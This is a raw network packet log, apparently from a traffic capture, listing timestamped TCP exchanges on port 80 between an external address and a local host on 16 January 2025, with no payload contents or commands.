Jan 16, 2025 09:17:01.183074951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.183124065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.183887959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.183922052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.183959007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.183973074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.183991909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184026003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184037924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.184063911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184077978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184103966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.184114933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184161901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.184786081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184819937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184856892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184870958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.184889078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184922934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184940100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.184958935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.184993982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185008049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.185029030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185075998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.185704947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185751915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185786963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185805082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.185821056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185856104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185863972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.185889006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185923100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.185923100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.185957909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186005116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.186625957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186660051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186695099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186712980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.186728001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186762094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186779976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.186794043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186827898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186849117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.186867952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.186913967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.187458992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.187525034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.187560081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.187585115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.187592983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.187628031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.187637091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.187661886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.187695980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.187716961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.187731981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.187779903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.188494921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.188529015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.188563108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.188575029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.188596964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.188632011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.188647985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.188664913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.188699961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.188713074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.188735962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.188777924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.189243078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.198755980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.208987951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.209027052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.209062099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.209096909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.209120035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.209132910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.209146023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.209191084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.220483065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.246867895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.246922016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.246958017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.246992111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.247025013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.247057915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.247082949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.247092009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.247114897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.247114897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.247126102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.247160912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.247164011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.247199059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.247246027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.271593094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.271672964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.271712065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.271745920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.271745920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.271781921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.271785021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.271815062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.271852970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.271862030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.284310102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284369946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284384012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.284421921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284455061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284471035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.284491062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284523964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284548998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.284559011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284593105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284607887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.284627914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284661055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284667969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.284693956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.284744024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.311570883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311646938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311683893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311717987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311750889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311783075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311794043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.311819077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311821938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.311842918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.311851978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311885118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311892033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.311918020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311950922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.311954975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.311985970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312019110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312021017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312052011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312067986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312084913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312091112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312135935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312146902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312158108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312161922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312174082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312185049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312186003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312196970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312202930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312210083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312231064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312514067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312527895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312541008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312549114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312551975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312563896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312575102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312575102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312604904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312643051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312655926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312674999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.312823057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.312858105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.313164949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313177109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313188076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313199043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313210964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313210964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.313221931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313230991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.313235044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313255072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.313318014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313329935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313342094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313349009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.313353062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313364983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313376904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.313378096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313389063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.313410044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.313436031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.314122915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314136028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314147949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314158916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314172983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314183950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314187050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.314198971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314209938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314213991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.314234018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.314248085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.314271927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314284086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314296007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314306974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314312935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.314318895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314331055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314349890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.314373016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.314419031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314431906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.314462900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.315241098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315253019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315265894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315277100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315288067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315294027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.315310001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.315377951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315391064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315401077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315407991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.315438032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.315573931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315587044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315598011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315609932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315615892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.315623045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315634966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315644026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.315646887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315675020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.315709114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.315740108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.316414118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.316426992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.316466093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.316549063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.316562891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.316575050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.316586971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.316593885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.316598892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.316611052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.316627026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.316643000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.334743023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.334759951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.334772110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.334779024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.334790945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.334803104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.334816933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.334826946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.334919930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.334944010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.356798887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.356816053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.356834888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.356848001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.356859922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.356859922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.356873035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.356887102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.356920958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.356976032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.357012987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.357048035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.359189034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.372097969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372113943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372126102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372138023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372150898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372163057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372175932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372188091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372193098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.372208118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372220039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372236967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372242928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.372251034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372262955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372273922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.372276068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.372296095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.372314930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.396786928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396804094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396816969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396828890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396842003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396862030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396877050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396888018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396897078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396904945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.396919966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396931887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396944046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396955013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396956921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.396966934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.396991014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.397013903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.397469997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397524118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397562981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397567034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.397598028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397636890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397643089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.397671938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397711992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397715092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.397836924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397871017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397880077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.397906065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397938967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.397948980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.397974014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398006916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398014069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398040056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398073912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398088932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398108959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398142099 CET	80	49704	193.143.1.205	192.168.2.5
